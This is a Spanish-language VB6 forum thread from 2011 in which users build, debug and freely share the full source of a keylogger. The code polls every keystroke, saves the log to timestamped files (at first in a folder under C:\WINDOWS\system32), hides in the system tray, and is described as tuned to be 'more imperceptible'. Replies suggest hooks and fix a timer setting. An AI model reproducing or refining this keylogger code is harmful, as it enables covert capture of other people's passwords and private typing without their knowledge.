ayuda con un keylogger vb6

Iniciado por Majinz, 23 Marzo 2011, 16:03 PM

0 Miembros y 1 Visitante están viendo este tema.

Majinz

antes que nada, hola soy Majinz, soy nuevo aqui y demasiado noob en vb6, tengo un problema a la hora de poner en marcha un keylogger que gentilmente explico sharkl, como muchos otros tome su codigo de ejemplo y agregue otras cosa por mi parte, por ejemplo un par de timers para hacer de su ejecucion y guardado algo mas imperceptible, el problema surgio cuando quiese intentar hacer que diferenciara mayusculas de minusculas con UCase, llegado el momento de tipear repetia los caracteres quedaba mas o menos asi "Aa Bb..." asi que saque UCase pero sigue cometiendo el mismo error, al proyecto le quedan muchos detalle que pulir pero no hallo la forma de avanzar sin solucionar este percanse, el codigo fuente quedo mas o menos asi:
Código (vb) [Seleccionar]

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form_Load()
Dim fso As New FileSystemObject
If fso.FolderExists("C:\WINDOWS\system32\log") Then
TM.Enabled = True
Else
MkDir ("C:\WINDOWS\system32\log")
TM.Enabled = True
End If
End Sub
Private Sub TM_Timer()
Dim i As Integer, x As Integer
For i = 8 To 222
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
  Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "
  Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
  Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
  Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
  Case vbKeyShift: Text1.Text = Text1.Text & " [Mayúsculas] "
  Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
  Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
  Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
  Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
  Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
  Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
  Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
  Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
  Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
  Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
  Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
  Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
  Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
  Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
  Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
  Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
  Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
  Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
  Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
  Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
  Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
  Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
  Case vbKey0: Text1.Text = Text1.Text & "0"
  Case vbKey1: Text1.Text = Text1.Text & "1"
  Case vbKey2: Text1.Text = Text1.Text & "2"
  Case vbKey3: Text1.Text = Text1.Text & "3"
  Case vbKey4: Text1.Text = Text1.Text & "4"
  Case vbKey5: Text1.Text = Text1.Text & "5"
  Case vbKey6: Text1.Text = Text1.Text & "6"
  Case vbKey7: Text1.Text = Text1.Text & "7"
  Case vbKey8: Text1.Text = Text1.Text & "8"
  Case vbKey9: Text1.Text = Text1.Text & "9"
  Case vbKeyA: Text1.Text = Text1.Text & "A"
  Case vbKeyB: Text1.Text = Text1.Text & "B"
  Case vbKeyC: Text1.Text = Text1.Text & "C"
  Case vbKeyD: Text1.Text = Text1.Text & "D"
  Case vbKeyE: Text1.Text = Text1.Text & "E"
  Case vbKeyF: Text1.Text = Text1.Text & "F"
  Case vbKeyG: Text1.Text = Text1.Text & "G"
  Case vbKeyH: Text1.Text = Text1.Text & "H"
  Case vbKeyI: Text1.Text = Text1.Text & "I"
  Case vbKeyJ: Text1.Text = Text1.Text & "J"
  Case vbKeyK: Text1.Text = Text1.Text & "K"
  Case vbKeyL: Text1.Text = Text1.Text & "L"
  Case vbKeyM: Text1.Text = Text1.Text & "M"
  Case vbKeyN: Text1.Text = Text1.Text & "N"
  Case vbKeyO: Text1.Text = Text1.Text & "O"
  Case vbKeyP: Text1.Text = Text1.Text & "P"
  Case vbKeyQ: Text1.Text = Text1.Text & "Q"
  Case vbKeyR: Text1.Text = Text1.Text & "R"
  Case vbKeyS: Text1.Text = Text1.Text & "S"
  Case vbKeyT: Text1.Text = Text1.Text & "T"
  Case vbKeyU: Text1.Text = Text1.Text & "U"
  Case vbKeyV: Text1.Text = Text1.Text & "V"
  Case vbKeyW: Text1.Text = Text1.Text & "W"
  Case vbKeyX: Text1.Text = Text1.Text & "X"
  Case vbKeyY: Text1.Text = Text1.Text & "Y"
  Case vbKeyZ: Text1.Text = Text1.Text & "Z"
  Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
  Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
  Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
  Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
  Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
  Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
  Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
  Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
  Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
  Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
  Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
  Case vbKeyAdd: Text1.Text = Text1.Text & "+"
  Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
  Case vbKeySubtract: Text1.Text = Text1.Text & "-"
  Case vbKeyDecimal: Text1.Text = Text1.Text & "."
  Case vbKeyDivide: Text1.Text = Text1.Text & "/"
  Case vbKeyF1: Text1.Text = Text1.Text & "F1"
  Case vbKeyF2: Text1.Text = Text1.Text & "F2"
  Case vbKeyF3: Text1.Text = Text1.Text & "F3"
  Case vbKeyF4: Text1.Text = Text1.Text & "F4"
  Case vbKeyF5: Text1.Text = Text1.Text & "F5"
  Case vbKeyF6: Text1.Text = Text1.Text & "F6"
  Case vbKeyF7: Text1.Text = Text1.Text & "F7"
  Case vbKeyF8: Text1.Text = Text1.Text & "F8"
  Case vbKeyF9: Text1.Text = Text1.Text & "F9"
  Case vbKeyF10: Text1.Text = Text1.Text & "F10"
  Case vbKeyF11: Text1.Text = Text1.Text & "F11"
  Case vbKeyF12: Text1.Text = Text1.Text & "F12"
End Select
End If
Next
End Sub
Private Sub TM1_Timer()
Dim canalLibre As Integer
canalLibre = FreeFile
Open "C:\WINDOWS\system32\log\" & Format(Time, "hhmmss") + Format(Date, "ddmmyyyy") & ".txt" For Output As #canalLibre
Print #canalLibre, Text1
Close #canalLibre
End Sub

a vista de noob no hay problema alguno, pero tampoco explicacion

Majinz

me contesto yo, el error no estaba en el codigo estaba en mi ignorancia, igual gracias

seba123neo

Hola, te recomiendo usar hooks para eso...el Timer consume recursos y aparte es una forma no muy optima.

saludos.
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

Majinz

Primero que nada me disculpo por la tardanza gracias por tu recomendacion, la verdad no estoy muy instruido en vb6, me gusta, me interesa, pero apenas comienzo, con decirte que la solucion que me vino a la mente con problema de las mayusculas o minusculas fue repetir los case pero esta ves la pulsacion devolvia minusculas siempre y cuando el bloq mayuscula estubiera inactivo
seria algo mas o menos asi:

Private Sub TMBM_Timer()
If GetKeyState(VK_CAPITAL) = 1 Then
    TM.Enabled = True
    TM2.Enabled = False
Else
    TM.Enabled = False
    TM2.Enabled = True
End If
End Sub


Majinz

siempre agradeciendo a sharkl por el tutorial les dejo el codigo fuente al cual le agregue un par de cosas, aclaracion: la carpeta log se hace en el mismo directorio donde se encuentra el ejecutable porque lo llevo conmigo a todos lados en el pendrive  :rolleyes:

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Const VK_CAPITAL = &H14
Private Sub Command1_Click()
Me.WindowState = 1
End Sub
Private Sub Form_Load()
Dim fso As New FileSystemObject
If fso.FolderExists(App.Path & "\log") Then
TM.Enabled = True
Else
MkDir App.Path & "\log"
TM.Enabled = True
End If
End Sub
Private Sub TM_Timer()
Dim i As Integer, x As Integer
For i = 0 To 255
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
   Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "
   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
   Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
   Case vbKeyShift: Text1.Text = Text1.Text & " [Shift] "
   Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
   Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
   Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
   Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
   Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
   Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
   Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
   Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
   Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
   Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
   Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
   Case vbKey0: Text1.Text = Text1.Text & "0"
   Case vbKey1: Text1.Text = Text1.Text & "1"
   Case vbKey2: Text1.Text = Text1.Text & "2"
   Case vbKey3: Text1.Text = Text1.Text & "3"
   Case vbKey4: Text1.Text = Text1.Text & "4"
   Case vbKey5: Text1.Text = Text1.Text & "5"
   Case vbKey6: Text1.Text = Text1.Text & "6"
   Case vbKey7: Text1.Text = Text1.Text & "7"
   Case vbKey8: Text1.Text = Text1.Text & "8"
   Case vbKey9: Text1.Text = Text1.Text & "9"
   Case vbKeyA: Text1.Text = Text1.Text & "A"
   Case vbKeyB: Text1.Text = Text1.Text & "B"
   Case vbKeyC: Text1.Text = Text1.Text & "C"
   Case vbKeyD: Text1.Text = Text1.Text & "D"
   Case vbKeyE: Text1.Text = Text1.Text & "E"
   Case vbKeyF: Text1.Text = Text1.Text & "F"
   Case vbKeyG: Text1.Text = Text1.Text & "G"
   Case vbKeyH: Text1.Text = Text1.Text & "H"
   Case vbKeyI: Text1.Text = Text1.Text & "I"
   Case vbKeyJ: Text1.Text = Text1.Text & "J"
   Case vbKeyK: Text1.Text = Text1.Text & "K"
   Case vbKeyL: Text1.Text = Text1.Text & "L"
   Case vbKeyM: Text1.Text = Text1.Text & "M"
   Case vbKeyN: Text1.Text = Text1.Text & "N"
   Case vbKeyO: Text1.Text = Text1.Text & "O"
   Case vbKeyP: Text1.Text = Text1.Text & "P"
   Case vbKeyQ: Text1.Text = Text1.Text & "Q"
   Case vbKeyR: Text1.Text = Text1.Text & "R"
   Case vbKeyS: Text1.Text = Text1.Text & "S"
   Case vbKeyT: Text1.Text = Text1.Text & "T"
   Case vbKeyU: Text1.Text = Text1.Text & "U"
   Case vbKeyV: Text1.Text = Text1.Text & "V"
   Case vbKeyW: Text1.Text = Text1.Text & "W"
   Case vbKeyX: Text1.Text = Text1.Text & "X"
   Case vbKeyY: Text1.Text = Text1.Text & "Y"
   Case vbKeyZ: Text1.Text = Text1.Text & "Z"
   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
   Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
   Case vbKeyF1: Text1.Text = Text1.Text & "[F1]"
   Case vbKeyF2: Text1.Text = Text1.Text & "[F2]"
   Case vbKeyF3: Text1.Text = Text1.Text & "[F3]"
   Case vbKeyF4: Text1.Text = Text1.Text & "[F4]"
   Case vbKeyF5: Text1.Text = Text1.Text & "[F5]"
   Case vbKeyF6: Text1.Text = Text1.Text & "[F6]"
   Case vbKeyF7: Text1.Text = Text1.Text & "[F7]"
   Case vbKeyF8: Text1.Text = Text1.Text & "[F8]"
   Case vbKeyF9: Text1.Text = Text1.Text & "[F9]"
   Case vbKeyF10: Text1.Text = Text1.Text & "[F10]"
   Case vbKeyF11: Text1.Text = Text1.Text & "[F11]"
   Case vbKeyF12: Text1.Text = Text1.Text & "[F12]"
End Select
End If
Next
End Sub
Private Sub TM1_Timer()
Dim canalLibre As Integer
canalLibre = FreeFile
Open (App.Path & "\log\") & "Dia" & " " & Format(Date, "ddmmyyyy") & " " & "a las" & " " & Format(Time, "hhmmss") & ".txt" For Output As #canalLibre
Print #canalLibre, Text1
Close #canalLibre
End Sub
Private Sub Form_Resize()
If (Me.WindowState = 1) Then
    sysTray1.PonerSystray
    Me.Hide
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
sysTray1.RemoverSystray
End
End Sub
Private Sub mnuSalir_Click()
Unload Me
End Sub
Private Sub sysTray1_MouseUP(Button As Integer)
If Button = vbLeftButton Then
   If (Me.WindowState = 1) Then
    Me.WindowState = 0
    sysTray1.RemoverSystray
    Me.Show
End If
End If
If Button = vbRightButton Then
   Me.PopupMenu mnuOpciones
End If
End Sub
Private Sub TM2_Timer()
Dim i As Integer, x As Integer
For i = 0 To 255
x = GetAsyncKeyState(i)
If x = -32767 Then
Select Case i
   Case vbKeyBack: Text1.Text = Text1.Text & " [Retroceso] "
   Case vbKeyTab: Text1.Text = Text1.Text & " [Tabulador] "
   Case vbKeyClear: Text1.Text = Text1.Text & " [Limpiar] "
   Case vbKeyReturn: Text1.Text = Text1.Text & " [Enter] "
   Case vbKeyShift: Text1.Text = Text1.Text & " [Shift] "
   Case vbKeyControl: Text1.Text = Text1.Text & " [Control] "
   Case vbKeyMenu: Text1.Text = Text1.Text & " [Menu] "
   Case vbKeyPause: Text1.Text = Text1.Text & " [Pausa] "
   Case vbKeyCapital: Text1.Text = Text1.Text & " [Bloq Mayus] "
   Case vbKeyEscape: Text1.Text = Text1.Text & " [Escape] "
   Case vbKeySpace: Text1.Text = Text1.Text & " [Espacio] "
   Case vbKeyPageUp: Text1.Text = Text1.Text & " [RePag] "
   Case vbKeyPageDown: Text1.Text = Text1.Text & " [AvPag] "
   Case vbKeyEnd: Text1.Text = Text1.Text & " [Fin] "
   Case vbKeyHome: Text1.Text = Text1.Text & " [Home] "
   Case vbKeyLeft: Text1.Text = Text1.Text & " [Izquierda] "
   Case vbKeyUp: Text1.Text = Text1.Text & " [Arriba] "
   Case vbKeyRight: Text1.Text = Text1.Text & " [Derecha] "
   Case vbKeyDown: Text1.Text = Text1.Text & " [Abajo] "
   Case vbKeySelect: Text1.Text = Text1.Text & " [Select] "
   Case vbKeyPrint: Text1.Text = Text1.Text & " [Captura] "
   Case vbKeyExecute: Text1.Text = Text1.Text & " [Ejecutar] "
   Case vbKeySnapshot: Text1.Text = Text1.Text & " [SnapShot] "
   Case vbKeyInsert: Text1.Text = Text1.Text & " [Insertar] "
   Case vbKeyDelete: Text1.Text = Text1.Text & " [Suprimir] "
   Case vbKeyHelp: Text1.Text = Text1.Text & " [Ayuda] "
   Case vbKeyNumlock: Text1.Text = Text1.Text & " [NumLock] "
   Case vbKey0: Text1.Text = Text1.Text & "0"
   Case vbKey1: Text1.Text = Text1.Text & "1"
   Case vbKey2: Text1.Text = Text1.Text & "2"
   Case vbKey3: Text1.Text = Text1.Text & "3"
   Case vbKey4: Text1.Text = Text1.Text & "4"
   Case vbKey5: Text1.Text = Text1.Text & "5"
   Case vbKey6: Text1.Text = Text1.Text & "6"
   Case vbKey7: Text1.Text = Text1.Text & "7"
   Case vbKey8: Text1.Text = Text1.Text & "8"
   Case vbKey9: Text1.Text = Text1.Text & "9"
   Case vbKeyA: Text1.Text = Text1.Text & "a"
   Case vbKeyB: Text1.Text = Text1.Text & "b"
   Case vbKeyC: Text1.Text = Text1.Text & "c"
   Case vbKeyD: Text1.Text = Text1.Text & "d"
   Case vbKeyE: Text1.Text = Text1.Text & "e"
   Case vbKeyF: Text1.Text = Text1.Text & "f"
   Case vbKeyG: Text1.Text = Text1.Text & "g"
   Case vbKeyH: Text1.Text = Text1.Text & "h"
   Case vbKeyI: Text1.Text = Text1.Text & "i"
   Case vbKeyJ: Text1.Text = Text1.Text & "j"
   Case vbKeyK: Text1.Text = Text1.Text & "k"
   Case vbKeyL: Text1.Text = Text1.Text & "l"
   Case vbKeyM: Text1.Text = Text1.Text & "m"
   Case vbKeyN: Text1.Text = Text1.Text & "n"
   Case vbKeyO: Text1.Text = Text1.Text & "o"
   Case vbKeyP: Text1.Text = Text1.Text & "p"
   Case vbKeyQ: Text1.Text = Text1.Text & "q"
   Case vbKeyR: Text1.Text = Text1.Text & "r"
   Case vbKeyS: Text1.Text = Text1.Text & "s"
   Case vbKeyT: Text1.Text = Text1.Text & "t"
   Case vbKeyU: Text1.Text = Text1.Text & "u"
   Case vbKeyV: Text1.Text = Text1.Text & "v"
   Case vbKeyW: Text1.Text = Text1.Text & "w"
   Case vbKeyX: Text1.Text = Text1.Text & "x"
   Case vbKeyY: Text1.Text = Text1.Text & "y"
   Case vbKeyZ: Text1.Text = Text1.Text & "z"
   Case vbKeyNumpad0: Text1.Text = Text1.Text & "0"
   Case vbKeyNumpad1: Text1.Text = Text1.Text & "1"
   Case vbKeyNumpad2: Text1.Text = Text1.Text & "2"
   Case vbKeyNumpad3: Text1.Text = Text1.Text & "3"
   Case vbKeyNumpad4: Text1.Text = Text1.Text & "4"
   Case vbKeyNumpad5: Text1.Text = Text1.Text & "5"
   Case vbKeyNumpad6: Text1.Text = Text1.Text & "6"
   Case vbKeyNumpad7: Text1.Text = Text1.Text & "7"
   Case vbKeyNumpad8: Text1.Text = Text1.Text & "8"
   Case vbKeyNumpad9: Text1.Text = Text1.Text & "9"
   Case vbKeyMultiply: Text1.Text = Text1.Text & "*"
   Case vbKeyAdd: Text1.Text = Text1.Text & "+"
   Case vbKeySeparator: Text1.Text = Text1.Text & " [Intro] "
   Case vbKeySubtract: Text1.Text = Text1.Text & "-"
   Case vbKeyDecimal: Text1.Text = Text1.Text & "."
   Case vbKeyDivide: Text1.Text = Text1.Text & "/"
   Case vbKeyF1: Text1.Text = Text1.Text & "[F1]"
   Case vbKeyF2: Text1.Text = Text1.Text & "[F2]"
   Case vbKeyF3: Text1.Text = Text1.Text & "[F3]"
   Case vbKeyF4: Text1.Text = Text1.Text & "[F4]"
   Case vbKeyF5: Text1.Text = Text1.Text & "[F5]"
   Case vbKeyF6: Text1.Text = Text1.Text & "[F6]"
   Case vbKeyF7: Text1.Text = Text1.Text & "[F7]"
   Case vbKeyF8: Text1.Text = Text1.Text & "[F8]"
   Case vbKeyF9: Text1.Text = Text1.Text & "[F9]"
   Case vbKeyF10: Text1.Text = Text1.Text & "[F10]"
   Case vbKeyF11: Text1.Text = Text1.Text & "[F11]"
   Case vbKeyF12: Text1.Text = Text1.Text & "[F12]"
End Select
End If
Next
End Sub
Private Sub TMBM_Timer()
If GetKeyState(VK_CAPITAL) = 1 Then
    TM.Enabled = True
    TM2.Enabled = False
Else
    TM.Enabled = False
    TM2.Enabled = True
End If
End Sub


sean libres de hacer y deshacer a voluntad, agradescan a sharkl y que les sea util, usa la ocx systray, por cierto, algo lei de los hook, voy a estudiarlo un poco y a meterle mano ver que sale :)

Psyke1

Auch! Lo siento, pero me duele la vista con estos códigos.
Hacer caso a seba123neo y hacerlo con hooks, eso es una chapuzada...

DoEvents! :P

bodoke1969

Psike1 antes que nada mis felicitaciones x dar una sencilla explicacion del keylogger, solo para no interrumpirte y si me puedes ayudar tengo 1 duda: copie y ejecute el programa, el problema radica que solo me crea la carpeta log pero, no logro que escriba nada me faltara algo ?? estuve leyendo que si uno lo copia tal cual hay error, a lo mjor eso me ocurre, yo tambien soy novato y ando investigando ese error, espero me puedas ayudar y de antemano

GRACIAS !!!

Psyke1

#7
Cita de: bodoke1969 en 27 Mayo 2011, 22:37 PM
Psike1 antes que nada mis felicitaciones x dar una sencilla explicacion del keylogger, solo para no interrumpirte y si me puedes ayudar tengo 1 duda: copie y ejecute el programa, el problema radica que solo me crea la carpeta log pero, no logro que escriba nada me faltara algo ?? estuve leyendo que si uno lo copia tal cual hay error, a lo mjor eso me ocurre, yo tambien soy novato y ando investigando ese error, espero me puedas ayudar y de antemano

GRACIAS !!!
¿Dónde doy una explicación del keylogger? :xD
mmmm... quizas no pusiste intervalo a el Timer (?) ...

Código (vb,7) [Seleccionar]
Private Sub Form_Load()
    Dim fso As New FileSystemObject
    If fso.FolderExists("C:\WINDOWS\system32\log") Then
        TM.Enabled = True
    Else
        MkDir ("C:\WINDOWS\system32\log")
        TM.Interval = 10
        TM.Enabled = True
    End If
End Sub

Reitero que esta forma es muy fea... :silbar:

DoEvents! :P